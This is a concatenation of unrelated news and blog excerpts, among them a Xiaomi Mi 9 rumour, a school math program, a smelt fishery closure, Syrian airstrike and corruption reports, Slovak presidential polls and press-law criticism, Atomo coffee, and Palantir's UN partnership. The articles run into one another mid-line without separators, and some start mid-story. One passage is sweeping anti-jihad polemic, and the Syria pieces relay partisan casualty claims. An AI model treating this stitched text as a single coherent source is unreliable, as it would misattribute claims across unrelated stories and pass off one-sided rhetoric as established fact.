While we did a rumoured post about the Mi 9 before, the news surfaced again when a Xiaomi smartphone just recently passed through certification in Singapore with M1902F1G as its codename. Also elsewhere on a Weibo thread, Xiaomi did a reply teaser on the user's question of the Mi 9, indicating that it's coming soon this month. COINCIDENCE? I don't think so.

Anyway, the tech specs of the Mi 9 is a juicy one but do take it with a pinch of salt. It's said to feature the latest Qualcomm Snapdragon 855, 6GB of RAM, an in-display fingerprint sensor (on a larger scale), a triple camera setup, a super 27W fast charging technology and should also run on MIUI 10 based on Android 9.0 Pie out of the box. Also, we don't think it's the new foldable phone as it's still in development, but it could certainly make an appearance there.

So what do you think? Stay tuned for more MWC news as we will be taking a hike there to check it out, only at TechNave.com.The kids that are in there learned to like it, and they come regularly and they look forward to it. And they are doing it without too much of an arm twisting, Workman said. I think a high percentage of the kids I see have the buy-in ... because theyve already seen the results of how their hard work is paying off.

Just halfway through the school year, Sundberg and Workman said many students are progressing much faster than their annual goals, which are set individually using a test designed for the purpose. Nineteen of the 25 fourth grade students attending Math Academy have already surpassed their goals for 2018-19.

Workman said hes seen similar growth in his fifth graders. The two classes with students attending Math Academy have a higher percentage of (growth) overall, he said.

Math Academys success, both in raising student growth and attracting voluntary attendees, is made possible by the dedication of the staff, the students and the parents, Sundberg said.

New at Robert Gray this year, the program is a strategy Sundberg said shed love to share with the other Longview schools. She said a variation of the program could work for every teacher if they could get the buy-in of the students, parents, principals and other school staff.

(Math Academy) was born out of a desire to see kids do better and give them more opportunity, Sundberg said. Really, this is the foundation of math. If we can get them fluent with their facts and computations and problem solving  the basics in mathematics  they are going to do well as they go on.

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.There will be no recreational or commercial smelt dipping on the Cowlitz or Lower Columbia rivers this year because the annual return is expected to be even worse than last years, according to the state fisheries officials.

Last years run was so tiny that sport dipping was prohibited for the first time in five years, and gillnetters caught only 110 pounds of the silvery, oily fish in an eight-day test fishery used to determine the size of the run.

Usually, fisheries managers want to see a 250-pound daily catch before opening up recreational dipping.

This year, the state will not even allow a test fishery because it seems pointless with the returns forecast to be so poor, said Linda Corra, a Washington Fish and Wildlife employee speaking for Laura Heironimus, the agencys smelt manager.

Smelt were listed in 2010 under the federal Endangered Species Act as a threatened species from Washington state to the Mexican border. In 2014, after a three-year closure, WDFW opened a two-day sport fishery on the Cowlitz River in conjunction with a commercial test fishery designed to monitor the smelt population.

The recreational dip-net fishery on the Cowlitz River was limited to a six-hour period on a single day in both 2016 and 2017.Wednesday, February 13, 2019

Huffington Post, Historian Lays Into Billionaires At Davos For Dodging The 1 Thing To Solve Inequality:

A historians remarks at a panel at the World Economic Forum in Davos, Switzerland, have gone viral after he told billionaires if they want to solve inequality, all they need to do is pay their taxes.

In a video posted by Now This and viewed more than 5 million times, Dutch historian Rutger Bregman heavily criticizes billionaires who talk about solving inequality, but fail to actually do the main thing he says will help.

I hear people talking the language of participation and justice and equality and transparency, but then, almost no one raises the real issue of tax avoidance, right? And of the rich just not paying their fair share, Bregman said last week at the forum, which typically draws the worlds elite.

He expressed surprise that there was only one panel at Davos dedicated to the topic of tax avoidance, even though its a fundamental issue. It feels like Im at a firefighters conference and no ones allowed to speak about water, he remarked. He took aim at billionaires and ultra-wealthy celebrities who try to persuade people that philanthropy is the answer to inequality.

This is not rocket science, he said. We can talk for a very long time about all these stupid philanthropy schemes. We can invite Bono once more. But come on! Weve got to be talking about taxes. Taxes, taxes, taxes. All the rest is bullshit in my opinion.

He called out tech billionaire Michael Dell for asking people to name one country where a top tax rate of 70 percent had worked. The United States, thats where it has actually worked, in the 1950s, he said. Under Dwight Eisenhower, a Republican president, tax rates for the ultra-rich peaked at just over 90 percent.

He also noted the irony of Davos attendees flying to the Swiss mountain town on 1,500 private jets to hear broadcaster David Attenborough give a speech about how people are destroying the planet.

(Hat Tip: Mike Simkovic)

https://taxprof.typepad.com/taxprof_blog/2019/02/historian-lays-into-billionaires-at-davos-weve-got-to-talking-about-taxes-all-the-rest-is-bullshit.htmlHehehe. A few people ask why I post my portfolio results every day. Some of them asked rudely, but I shall not call them idiots. Here are...The most recent attack on Baghouz in Deir ez-Zor by the International Coalition injured or killed at least 70 civilians reports SANA.

On Tuesday, warplanes of the US-led International Coalition shelled Baghouz in the Deir ez-Zor countryside claiming the lives of scores of civilians and injuring others, mostly women and children.

Following the latest attack, Syria has reiterated its demands for the Security Council to take action against the crimes and attacks carried out by the warplanes of the US-led International Coalition, and to carry out an investigation into these attacks, and to work towards preventing further attacks and end the hostile presence of America and other foreign forces in Syria.

This came in two letters from the Foreign and Expatriates Ministry addressed to the UN Secretary General and Chairman of the Security Council, regarding the most recent massacre committed by the warplanes of the US-led International Coalition against a camp for civilians in Baghouz village in the Deir ez-Zor countryside.

In the letters, the Ministry said this new crime, which left more than 70 civilians dead or injured including women and children, is part of a series of war crimes and crimes against humanity perpetrated by the Coalition against the Syrian people.

The Ministry slammed the Coalition for its continuous support for terrorism and its use of terrorists and separatist militias to achieve their objectives and hostile plots against the sovereignty, unity, and territorial integrity of Syria.

Syria demands again that the Security Council take action to prevent these crimes and attacks and shoulder its responsibility for preserving international peace and security, the letters said.

The letters stated that the Security Council is also required to conduct an international investigation into the Coalitions crimes in Syria, condemn them, and take immediate action to prevent their repetition, in addition to working on ending the illegitimate and hostile presence of the American troops and other foreign troops in Syria, and prevent them from implementing their schemes.

Local sources in Deir ez-Zor told SANA that at least 70 civilians were martyred or injured, mostly women and children, on the outskirts of Baghouz in airstrikes launched by warplanes of the International Coalition.

Sources indicated that the Coalitions airstrikes targeted a camp that embraces hundreds of civilians who fled shelling by the Coalition and the Islamic State (ISIS), indicating that the number of martyrs is likely to rise due to the critical conditions of some of the injured and the difficulty of hospitalizing them due to the continued shelling.

This massacres comes just hours after warplanes of the International Coalition committed another massacre in Baghouz, which martyred 24 civilians, mostly women and children.

This article was edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author.After serving short sentences, if any time at all, fighters from the Islamic State are being conscripted into the security services, where their knowledge is helping the regime arrest activists writes Etihad Press

Barely six months had passed since regime forces took control of the Yarmouk basin area in Daraa province in southern Syria, before more threads regarding the relationship between the Islamic State (ISIS) and the regime were revealed. While the Syrian regime pursues former commanders and members of opposition groups who were involved in the reconciliation and settlement programs and throws them into prison on various charges, many ISIS members who were arrested at the end of July have been freedwith some even conscripted into the security forces of the province, as if nothing ever happened.

One of those who was released was called Raed Saloum, 37. An activist from the Ahrar Houran Association said that he was an officer amir with Jaysh Khalid bin al-Walid, under the authority of ISIS in the Yarmouk basin. Before that, he was an officer with the rank of colonel in regime forces until September 2017, when he entered the Yarmouk basin to take up his post with ISIS. According to the source he was, known for his crimes and his severity in the region. Among the names were Abdullah Abdel Rizik Mustafa Faraj, 43, who was a general administrator, an interrogator, and worked to recruit fighters from outside the Yarmouk basin. He had direct ties to Israel, and he was a security figure for the intelligence agencies, and was transferred to Deir ez-Zor.

The name Mohamed Nufan al-Mohamed also appeared. He had been a security figure in Jaysh Khalid and with the regime forces and while Military Security patrols carried out raids in the area, he accompanied them as he knew the homes of activists (revolutionaries and aid workers). There was also Youssef al-Nablusi, 47, who was the head of the External Relations Office for ISIS in the south and now lives in the Tel Shehab farms without anyone bothering him. In addition, there was Ibrahim Younes al-Muqaddam, whom the regime released in 2011 from the Saydnaya prison, and although he was the amir of the security office of the Jaysh Khalid, he is still free to this day.

Also from ISIS was Mohamed Turki al-Samouri, who now works with the Military Security branch in Daraa. One of the most prominent names may be Omar Sayel al-Awdat, who the source said was, responsible for killing 14 commanders from the Ahrar al-Sham movement in a barracks on the outskirts of the town of Tasil in 2015. He was a field commander for the Jaysh Khalid brigade, and last summer he turned himself over to the regime forces and volunteered for the Military Security, where he worked at the base in the Izraa area. Asad al-Nasaan is now working in the Military Security branch in Damascus. He was a security figure in Jaysh al-Khalid and residents say that he, carried out proven crimes, including killings, and abusing the corpses of Free Syrian Army fighters, along with Namr al-Ameyan, who joined Military Security, and in November personally oversaw raids and arrests in the town of Tel Shehab.

The freed commanders also prominently include Minaf Fahed al-Deiri, who had transported large amounts of sarin from the Chemical Brigade in the 82nd Brigade to Jaysh Khalid, and Abou Talal al-Qurfan, who was responsible for planting explosive devices. There was also Maher Kanhoush, who was responsible for the Hisbah Diwan of the Jaysh al-Khalid, and whose arrest by the regime lasted only about six months, before he was recently released.

The Military Security is not the only entity which former ISIS fighters and commanders have joined. Some of the most prominent names now volunteering in the State Security branch include Dawoud al-Salah (Abu Suleiman) from the town of al-Rafid in Quneitra province, who was an arms dealer with 30 fighters under his command, and is accused of many kidnappings in recent years.

This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author.Despite the reconciliation deals that were made between the opposition and the regime, residents are being forced to pay huge sums of money to secure their rights reports Alsouria Net.

After the Bashar al-Assad regime and its allied militias took control over areas of southern Syria, corruption began to become commonplace in many aspects of life. Regime officers began to take exhausting measures against civilians with the aim of obtaining money from them.

These negative practices have increased daily hardships for residents and left them with almost nothing to their name. According to testimonies on the ground, obtained by Alsouria Net, many opportunities for securing bribes have become available for security branch officers and army officers, as well as other cooperators and militia officials.

Security Checks

After regime forces were deployed in the south, the area was divided into security sectors, including those under Political Security, those under State Security, and others under the Military Security and Air Force Intelligence, with each branch having specific stations, in addition to the stations already deployed throughout the south.

This has led to a contradiction in terms of missions and authorities, and has increased repressive effects on residents. In testimonies, some residents of the area from the Daraa and Quneitra countrysides, say the regime intelligence agencies have started carrying out security background checks on former opposition members, and all those who participated in various activities, whether they were part of the local councils, military, field hospitals, or other bodies.

The background checks also include all those who asked for status settlement in order to return to work, and includes those who want to buy and sell land, as well as those who have returned from government jobs and other employment.

According to information obtained by Alsouria Net from local sources who asked not to be named, each security branch is sending a delegate to meet people and carry out checks.

The checks include specific information, such as name, age, children, activities, partisan affiliation, and others, and each person might be checked by three or four branches.

It has become common for people to pay the delegates for positive results from their checks. Payments can range from 5,000 to 15,000 Syrian pounds, depending on how detailed the check is.

For example, one source said, If a person is being checked by three branches, and the study is a standard one for him to return to work, he can pay 5,000 pounds to each branch delegate, and therefore pays 15,000 pounds so that his security check isnt negative.

Settlement IDs

Regime officers are seizing peoples settlement IDs, which Russia promised to distribute to some as a guarantee to protect them from Assads forces, as a means to blackmail civilians and to force them to pay money to obtain them.

The settlement IDs are issued by the National Security office, which oversees all the security branches, and those who hold the IDs are allowed to cross through military checkpoints without anyone obstructing their path.

The settlement center has begun to fill with documents, that detail the settlements that individuals made, including promises not to return to any anti-regime practices. These documents are then submitted in batches to the National Security office for approval and the issuing of the settlement IDs.

Some security branches have purposefully delayed submitting a number of batches to the National Security office in order to benefit financially. Some of those who are wanted by security have had to pay between 3,000 and 5,000 pounds in order to speed up the process or to obtain a forged settlement ID from the same center.

This bears risks, because the name is not actually submitted to the National Security office. In addition, many of those who hold settlement IDs have been arrested subsequently, and this has led some to pay huge amounts to so-called mediators to release prisoners.

Human Smuggling

Civilians in regime-controlled areas in southern Syria live in terrible circumstances. Electricity, water, gas, and humanitarian aid are absent, and notifications for compulsory and reserve service in the Assad army are being distributed.

As a result, many young men have left the southern region, heading in two directionseither from the Daraa and Quneitra countrysides towards Lebanon or toward the Idleb countryside. This is done through brokers and drivers who work with high-ranking officers, who secure a so-called military route. Here the officers make a profit in two ways. First is from the cost of transport, with passage to Lebanon costing up to 1,300 dollars, and up to 2,800 dollars to travel to Idleb.

The second is by the officers betraying the young men who they are smuggling, as has happened in a number of prior incidents. Other officers then contact their families to have them released in exchange for amounts that can run into the millions of Syrian pounds.

This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author.First Step Chiropractic Outreach Coordinator Matthew Mahn with girlfriend Elena Bianco, accepting the Readers Choice Awards on behalf of First Step Chiropractic in Rowlett for Best Chiropractor.Plano trash rates are expected to stay the same through 2019, but changes in revenue and city services could impact future rates.Goshen Standardbred Horse Sales has announced the details surrounding the 2019 edition of the annual Goshen Yearling Sale.

The sale will be held on Sunday, September 8 at the Mark Ford Training Center in Middletown, NY. The date marks the fifth anniversary of the sale that has grown into the pre-eminent outlet for buying New York-bred trotters and pacers within the Empire State.

The Goshen Yearling Sale has annually offered high quality stock from top breeders that include Hanover Shoe Farms, Winbak Farm, Blue Chip Farm, Concord Stud, Cameo Hills Farm and Boxwood Farm and has presented well-bred yearlings that are eligible to the lucrative New York Sire Stakes program each year. The sale has grown into the states preferred Standardbreds yearling venue for both the buyer and consignor.

We are excited to announce this years date and to get things rolling towards another great sale said Mark Ford, president of the Goshen Standardbred Horse Sales Co. Last years sale was a great success and many of the horses purchased there will be making their raceway debuts only a few months from now in preparation for stakes season.

Some notable stakes-winning alumni of the Goshen Yearling Sale from the last two years include Clear Idea (American Ideal-Glass Maker 1:50.4, $463,546), Scuola Hanover (A Rocknroll Dance-So Artsi 1:50.4, $234,558), Natalie Hanover (Chapter Seven-Nanticoke Hanover 1:54.1, $189,305), Rootin Tootin (Roll With Joe-Wild Retreat 1:51.2, $185,287), Venier Hanover (Well Said-Valmctorian 1:53.3, $154,300), Shes A Billionair (Artiscape-Shes Game 1:54.3, $145,618), Ostro Hanover (Betterthancheddar-Ozmopolitan 1:52.1, $134,156), Teasin N Pleasin (Cr Excalibur-Brontease 1:58, $121,745), Box Of Luck (Lucky Chucky-New DVD 1:56h, $105,625) and Major Blake (Art Major-Bet Your Life 1:51.4, $84,408).

The sales facility is located at 90 Slaughter Road, Middletown, NY, which is within a 90-minute drive of many major racetracks and training centres in New York, New Jersey and Pennsylvania, making it a very convenient location to buy your next champion.

All information regarding the fifth annual Goshen Yearling Sale will be available at goshenyearlingsale.com when it becomes available.

For any other inquiries please contact Mark Ford directly at 973-568-3253 (cell) or by email at [email protected].

(Goshen Standardbred Horse Sales)Coffee people are very strange these days. If theyre not drinking iced coffee during a polar vortex, theyre shooting green coffee into space to roast it. And now, theres a new startup that wants to make your coffee without any coffee at all. Its called Atomo Coffee, and according to Food & Wine, the company is working on a way to replicate a standard cup of coffeedown to the taste, aroma, and even mouthfeelall with natural ingredients, none of which are coffee beans.

This is by no means the first iteration of coffee hold the coffee. In Italy, there is a long tradition of caffe dorzo, a caffeine-free, coffee-like beverage made of roasted barley that is consumed by children, the elderly, and those looking to eschew the jittery jolt for health reasons. But this Atomo Coffeemolecular coffee as the company refers to itfeels like something entirely different.

Created by microbiologist Jarret Stopfortha radical food scientist, per the company's Kickstarter, whose CV includes time at Soylent and Chobani, both of which have pre-established links to the coffee worldand not-microbiologist Andy Kleitsch, Atomo coffee is trying to break down coffee to a molecular level, figure out whats going on inside, and then rebuild it anew using not coffee.

It is a coffee but it is like, not coffee. Think about that.

Their goal, according to Food & Wine, is to create a coffee without the dreaded bitterness, WHICH I SHOULD NOTE is a thing that can also be accomplished through quality-focused sourcing and roasting practices, a notion upon which the last let's say two decades plus of specialty coffee have been predicated. One need not put the bolts in the neck of a reanimated mishmash of molecules to drink coffee without the aforementioned dreaded bitterness. It is possible to drink actual delicious coffee from actual coffee farmers and roasters without experiencing such dread.

What actually comprises Atomo is as yet unknown. The Kickstarter lists them as naturally-derived sustainable ingredients. For their first product, Atomo is aiming for a smooth cup of coffee, not too light, not too dark, but after the success of their already-funded Kickstarter campaign they plan to release single-origin varieties including an Ethiopia, Colombia, Kenya, and 100% decaf (sorry caffe dorzo).

This may come as a surprise given the completely serious and not at all flippant tone of this article, but I'm a bit skeptical of the entire enterprise. Though to be fair, in a blind taste test performed by the company on the University of Washington campus, Atomo was the heavy favorite over the other option, some roasty-ass Starbucks they trucked around campus, god knows how long after brewing it.

Have 21 out of 30 college students ever been wrong about anything?



Perhaps I am the one who is wrong. Maybe the kids these days want their space beans and molecular coffee drinks. If that's you and you want to live in this sort of future, you can pre-order you own Atomo via their Kickstarter page. What a time to be alive.

Zac Cadwalader is the managing editor at Sprudge Media Network and a staff writer based in Dallas. Read more Zac Cadwalader on Sprudge.Another presidential poll confirms Caputova's growth

Nonetheless, OLaNO head Igor Matovic is asking her to withdraw from the race.

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The second poll presented in mid-February confirmed European Commission Vice-President Maros Sefcovic's lead.

After the AKO poll, carried out in the first half of February, showed the candidate nominated by the ruling Smer party leading with 18.2 percent, the poll carried out by the Focus agency also suggests he would win the race with 20.1 percent of the vote.

Scientist Robert Mistrik came second with 17.1 percent and lawyer Zuzana Caputova ended in third with 14.4 percent.

The Focus poll was carried out between February 7 and 12, 2019, for opposition party Ordinary People and Independent Personalities (OLaNO).

Matovic tells Caputova to give up

Despite Caputova's growing numbers (up from January's 9 percent), OLaNO chair Igor Matovic believes that she should withdraw and support Mistrik.

"She had time, an additional three weeks, and this is the outcome," Matovic said, as quoted by the Sme daily. He went on to say she "still has time until Friday" to surrender.

The presidential preferences poll was conducted by Focus in the first half of February 2019 for the OLaNO political party. (Source: Focus )

Ballots will be printed out after February 15. If a presidential candidate thereupon does not withdraw from the race, their name will appear on the ballot. This may confuse voters on March 16 when the first round is held if the candidate withdraws after February 15.

Would she lose against Sefcovic?

The Focus poll also asked respondents whether Mistrik or Caputova would manage to defeat Sefcovic in the second round, Sme wrote.

Unlike Caputova, Mistrik would be the one to defeat Smer's candidate with 50.8 percent, the poll suggests.

Caputova refused to step down from the battle on February 13. Matovic therefore opines there is a huge risk Supreme Court judge Stefan Harabin could face Sefcovic in the second round if extremist presidential candidate Marian Kotleba withdraws.

"Thus, we must act responsibly," emphasised Matovic, as quoted by Sme.

Caputova could be a good minister, however, he added.

13. Feb 2019 at 22:28 | Compiled by Spectator staffAndrej Danko: I will not renounce Russia

I have done more for Slovakia-USA relations than any other public official, the Slovak speaker of parliament added.

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Speaker of Parliament Andrej Danko (SNS) travelled to Russia the day after US Secretary of State Mike Pompeo visited Bratislava.

While Slovak officials were convincing Pompeo that Slovakia is the USA's reliable partner, Danko went to Moscow to meet Vyacheslav Volodin, chairman of Russia's State Duma. Volodin was put on the US sanctions list in 2014 when Crimea was annexed by Russia.

"As I always say, it is necessary to maintain relations with the West, as well as the East," Danko wrote on his Facebook profile.

Despite criticism coming from opposition parties, he does not consider his business trip to Russia as a stop on Slovakia's political path.

Read also: Danko acts outside the official foreign policy line Read more

"I have done a bit more for these relations [Slovak-US] than all those who met with Mr Pompeo," Danko replied to the critics, as quoted by the TASR newswire.

Danko undermines Slovakia's position

Parties Progresivne Slovensko (Progressive Slovakia) and Spolu (Together) have condemned Danko's trip to Russia.

"The speaker of parliament undermines Slovakia's placement in the EU, which guarantees us our prosperity as well as security, and drags us to the East," said Vladimir Bilcik of Spolu, as quoted in a press release.

Slovak citizens do not deserve politicians who do not care about the good of Slovakia, added Michal Simecka, one of the candidates for the European Parliament election, supported by the coalition created by Progressive Slovakia and Spolu.



Danko, meanwhile, explained his trip by pointing out that Germans, the French as well as Americans are outrunning each other to make business deals with Russia.

Russia means business

"I will not renounce the topic of Russia," Danko said, as quoted by TASR. "Where else should our business society go to, where else should they be seeking the market?"

He is convinced that Russia is a place where the Slovak business community should operate and gain experience.

"Thanks to a good relationship with Russia, we also have the door open in economic cooperation with Asian countries," he wrote on Facebook.

Danko wants to take several Slovak companies to Russia in April or May to create new business contacts, the SITA newswire reported.

Danko's dream

Read also: Parliamentary Speaker Andrej Danko is not obliged to explain Russia speech Read more

During his visit to Moscow and Sochi, where he also met with Russia's Foreign Affairs Minister Sergei Lavrov, Danko expressed his hope that Bratislava would host the meeting of all chairmen of parliaments from Europe, Asia and Russia.

"I am still hoping the sanctions will end and Bratislava will host all leaders of Euro-Asian parliaments," Danko wrote on Facebook. "It is my main dream."

Cyber security

Danko and Volodin also talked about cyber security, cooperation between the Slovak and Russian parliaments and the digital space. It is impossible to exclude Russia from the talks on cyber security, Danko said.

"I am grateful for what Russia does for us, also at the international level," he added, as quoted by SITA. He described his trip as fruitful.

Slovakia's speaker of parliament also accepted invitations to attend celebrations of the end of WWII on May 9 in Russia as well as the international parliamentary forum in June.

13. Feb 2019 at 22:23 | Compiled by Spectator staffBy a sharp knife cuts through the heart of injustice in Slovakia

A film inspired by the 2005 murder of student Daniel Tupy will be premiered to the Slovak public on February 21.

On November 4, 2005, Daniel Tupy, a 21-year-old student known for his gentle demeanour and love for poetry, was stabbed to death on the bank of the Danube River. Tupy, who had long hair and a guitar strung across his back, was walking to band rehearsal with a group of friends when he was attacked by a gang of Neo-Nazis. Although five men were charged with the attack, they were later found not guilty, and the trial was suspended due to a lack of evidence. To this day, Daniel Tupys murder remains unsolved.

At the time of Tupys murder, film director Teodor Kuhn was a seventeen-year-old skateboarder who had his own run-ins with Neo-Nazi gangs.

We actually skated at a spot very close to where the murder took place. Because we knew what it felt like to be beaten up by Nazis, we felt connected to Tupy, said Kuhn. I dont want to overstate it, but it could have happened to one of us.

Kuhns connection to Daniel Tupy has since been translated to film in Ostrym Nozom, his directorial debut.

13. Feb 2019 at 11:29 | Anna FayAbout Modesta Real Estate Austria

MG Real Estate GmbH was founded in Vienna in 2002. In addition to the Headquarters in Vienna, a subsidiary company was launched in Bratislava in 2005. Since its foundation year, Modesta Real Estate can look back at a successful company history. A significant share of this success is due to prestigious clients such as AMISOLA, BECHTLE, BFI, BOSCH, HONEYWELL, LOUIS VUITTON, MONDI AG, MOUNTPARK, PHILIPS, PROLOGIS, SIEMENS, SIGNA, USAA and WOLSELEY.

In recent years, millions of sqm of office, industrial and logistics space as well as development sites have successfully been completed. Beside the domestic markets in Austria and Slovakia, Modesta Real Estate also assists in numerous transactions in the CEE markets and supports its international partners with corporate real estate advice.

You will find further information at: www.modesta.atMedia zombies are soft on the powerful

Politicians again shelter themselves with sinful press code amendment.

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In November 2016, Robert Fico still bragged that he did not limit press freedom even with his single-party government, despite the fact that according to him, the media abused their immense freedom. He did have an obedient army of MPs to reinstall the restrictive right of reply for politicians in the Press Code, but he never pulled that trigger.

Back then, Fico still tried to squeeze himself into the costume of the most democratic politician in the Visegrad Region. His neighbours posed poor competition while Fico's statements about the media had already suggested autocratic tendencies. The public had not yet been aware of the scope of moral decay he covered up with his prime-ministerial body.

A few weeks after the murder of Jan Kuciak and Martina Kusnirova he repeated once again that Smer, under its one-party government, despite the objective reservations towards the quality of journalistic work, took no measures that would limit media freedom in Slovakia. But his free press friend makeup could not hold under the words he used: slimy snakes, prostitutes, hyenas, and idiots.

The year of the murder gradually stripped the last remaining disguise from Fico and a large part of the political representation. They talk to disseminators of conspiracies, they make statements for websites that spread chaos, hate and hoaxes among the disoriented part of society. They refer to critical journalists as the opposition or a disruptive power and enemies of the state. They spin conspiracy theories, attack, and pump verbal aggression into the public discourse.

Media zombies are soft on the powerful

Part of the ruling coalition seeks inspiration in the political repertoire of Donald Trump and Viktor Orban. Of course, when it comes to suffocating the media, they too nurture their own creativity.

Orban has created an army of media zombies trumpeting that they are the journalists his country needs. In reality, though, they only disseminate moral disintegration and fear. The media zombies never criticize the powerful, do not reveal government corruption and avoid discussion. They only disseminate governmental messages in different variations.

George Soros is the source of all the nations misery. Those who declare that this is a lie and propaganda are promptly labelled as Soros's mercenaries. The phrase because of Soros ends all public discussion in Hungary, just as in the thirties, when blaming the Jew for all misfortune ended any discourse.

Thus the Orban-friendly media eliminated any critical discourse and the media zombies lash out at anyone who criticises the government, marking them with the Soros star.

Media tyranny?

In Slovakia, we still have critical media that not only strive to survive but also have the ambition of keeping those in power in check. And so, some politicians and their in-house analysts talk about media tyranny. They seek ways of pacifying journalists, showing them their place: so that they do not interrupt when a politician speaks and does not repeat unanswered questions; so that they cooperate, report on the governments success, polish the image of the country, and make people believe that everything is going the way it should.

The kickbacks, the Bonaparte apartments, the buddies who do not pay taxes, the EU funds portioned along the lines of power, the high posts as a retirement bonus, all of that is the price we have to pay for economic growth, stability, and streets safe from swarms of refugees. The ones that never really wanted to come to Slovakia.

This is a fight for the re-defining of journalism. Two of Ficos footmen, Dusan Jarjabek and Miroslav Ciz, have joined the battle. Applauded by a big part of the parliament, they want to return the right of reply for politicians into the Press Code.

Politicians do have the right to demand correction for untrue statements, which many countries consider sufficient.

Why?

This change is not happening in the public interest. Politicians do not even pretend that this is about the voter. The attempts to resuscitate the replies for public officials mainly serve politicians unhappy with media criticism and fail to understand that being subject to public scrutiny is part of being a politician.

Politicians really are no endangered species. They are not a minority without any power to influence the conditions of their lives. They are not deprived of a voice. Press conferences take place, press statements are sent around. They communicate in the parliament and they even have the luxury of picking the media they speak to and the ones they ignore. This is regardless of being paid from the voters money. At a time when social media is thriving, the argument that their defence will not reach their voters,comes across as absurd. Moreover, they do have the right to demand correction if the media publish something that is not true, or if they print a deceitful interpretation of facts.

Politicians want more. They want to have the possibility to interfere with the work of editors and force them to publish their reply even in cases when politicians lie or mislead. Meaning the media would have to publish unsolicited content for which they cannot bear moral responsibility.

With the amendment, politicians want to tell journalists that they still have some weapons to use against the journalists. Spreading hate against journalists or treating fake news media like real journalism are some of the weapons they have used. Interfering with the Press Code is the weapon they are using now.

Last year the Culture Ministry created a working group to discuss a new press law. This change comes without any discussion with professionals or media publishers, who joined the working group to discuss digital challenges and better protection for journalists. The Smer-nurtured proposal turns the previous debate on the revision of the code into a pathetic show.

Not the first time

The proposed changes take place in an atmosphere when politicians picture journalists as an organized force working against the state interest through criticism. And of course, the politicians and their nominees at all levels are the state.

The state is Andrej Danko, who burned his moral credit like a Christmas sparkler and is now fantasising that politicians should be able to react not just to factual claims but also opinions. Perhaps they could also add cartoons. His coalition partner Fico does have experience with that as he in the past he sued a cartoonist.

The parliament passed the right of reply for public officials as part of thePress Code, drafted by the ruling Smer, in 2008. The then OSCE media freedom representative, Miklos Haraszti, said that the mere fact that such a law exists undermines editorial freedom because the media will be obliged to published unsolicited material. It was not hard for Haraszti to imagine where such measures may lead in the hands of politicians with no inhibitions: newspapers getting flooded with replies from political forces unable to accept criticism, even when the criticism is well founded.

They are not in danger

Under the Iveta Radicova government in 2011, the parliament left this right to natural persons only. Most politicians are not more endangered than they were ten years ago. If they are, the danger is posed by their own corruption and moral decay, their ties to mobsters and their hardworking assistants.

The current OSCE media representative,Harlem Desir, has repeated what was said in 2008. The return of the right of reply for politicians represents a high risk of undue and disproportionate interference in the editorial independence of the media, and must not lead to permanent pressure or self-censorship of the media.

Politicians must, according to Desir, accept a high level of scrutiny and criticism, and the media must be able to do their job without facing financial threats; which, obviously, will not be possible given the fines the Smer MPs proposed.

The Slovak political representation will undoubtedly pull examples of existing restrictive paragraphs in press laws in some advanced democracies. The difference is that the vast majority of those laws are obsolete and almost never applied. Hence the media do not object to them.

Having said that, every independent publication should have an interest in correcting its mistakes, untrue claims, or misleading interpretations of facts. That is the way to protect their reputation, which also decides why critical media will survive. The reader decides that, not the politician.

Protecting media freedom

The Eeents of the last year have shown that the parliament needs to consider a completely different set of measures. Society should think about how to make sure critical and independent media will be preserved and the political impact on them will be limited. Because the media are one of the guarantors of democracy.

Obviously, the content of critical media is far from what your ordinary politician, in Slovakia mainly those in the government, considers acceptable. But democracy has that in its DNA, it provides more protection for a citizen from unfounded criticism from the media than to a politician. Dictatorships have the very opposite understanding of whom the state should protect from media criticism.

This time around, Slovakias now-proverbial dam against extremism does not mind voting together with the fascist party about a change that international experts, including the OSCE media freedom representative, brand as not press-freedom-friendly. When these politicians look at society, what they see is that they need more possibilities of opposing the media and more control over their content.

13. Feb 2019 at 11:39 | Beata BalogovaLe Collectif Cheikh Yassine a organise un certain nombre dactivites et de festivites pour les enfants de Gaza sous le theme  La joie des enfants de Gaza pour lAid . Ces activites ont commence le premier jour de lAid et continue jusquau 4eme jour de lAid dans la bande de Gaza.



Plusieurs activites, ont ete organisees parmi lesquelles : des competitions recompensees par des prix, des jeux, des animations et des chants presentes par un groupe ainsi que des distributions de cadeaux et daides financieres.



The gravity of the existential threat we face from Islamic Jihad is truly of epic proportions. It is essentially a battle pitting free-civilized man against a totalitarian barbarian. What is at stake is the struggle for our very soul - namely who we are and what we represent. The lives that were sacrificed for individual rights and freedoms that we've come to cherish are being chiseled away from right under our noses by the stealth jihadists. And many of us are in denial and totally clueless.



The left's appeasement and pandering to evil is nothing new. What makes their utopian delusions so infuriating and unpardonable is that it is not only they who will have to pay the consequences, and deservedly, so, they are thwarting and undermining our best efforts at resistance and are thus dragging us down in the process as well.







By Peter Lancz,, the head of the Raoul Wallenberg World Campaign Against Racism.Big data analysis is showing up everywhere, and the world of humanitarian aid is no exception. Organizations, from gigantic aid agencies to small NGOs, have been exploring ways they can use data conclusions to better help people in need. And these aid organizations are increasingly working directly with tech companies to help them make sense of the data that they collect. Ideally, these public-private partnerships pair aid organizations on-the-ground knowledge with the cutting-edge tech acumen of Silicon Valley. Still, other aid tech specialists (including myself) caution that these collaborations, if done without adequate oversight, can create ethical issues and expose vulnerable peoples data to surveillance and appropriation by powerful interests.

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On Feb. 5, the debate about such collaborations reached a new level of intensity: The World Food Programme, a United Nations aid agency and the worlds largest humanitarian organization addressing hunger and food security, announced that it was launching a five-year, $45 million partnership with the infamous data-analytics firm Palantir.

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For those unfamiliar, Palantirdescribed succinctly as fucking terrifying by the Outlinewas founded in 2004 and got early investments from the likes of the CIA and Silicon Valley arch-investor Peter Thiel (the PayPal co-founder known for, among other things, giving quotes like I no longer believe that freedom and democracy are compatible). It was Thiel that gave the company its name, Palantir Technologies, after a communications device used for malevolent ends in Lord or the Rings.

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Fittingly, in the last decade, the company has earned a reputation roughly as positive as Lord Saurons in Middle Earth. Palantir collaborated with institutions such as the LAPD, NYPD, and New Orleans Police Department on questionable predictive policing and surveillance projects. Its also worked on surveillance and tracking projects with Immigration and Customs Enforcement, the CIA, the NSA, the FBI, and the Army. It even allegedly worked with Cambridge Analytica (though the company denies this).

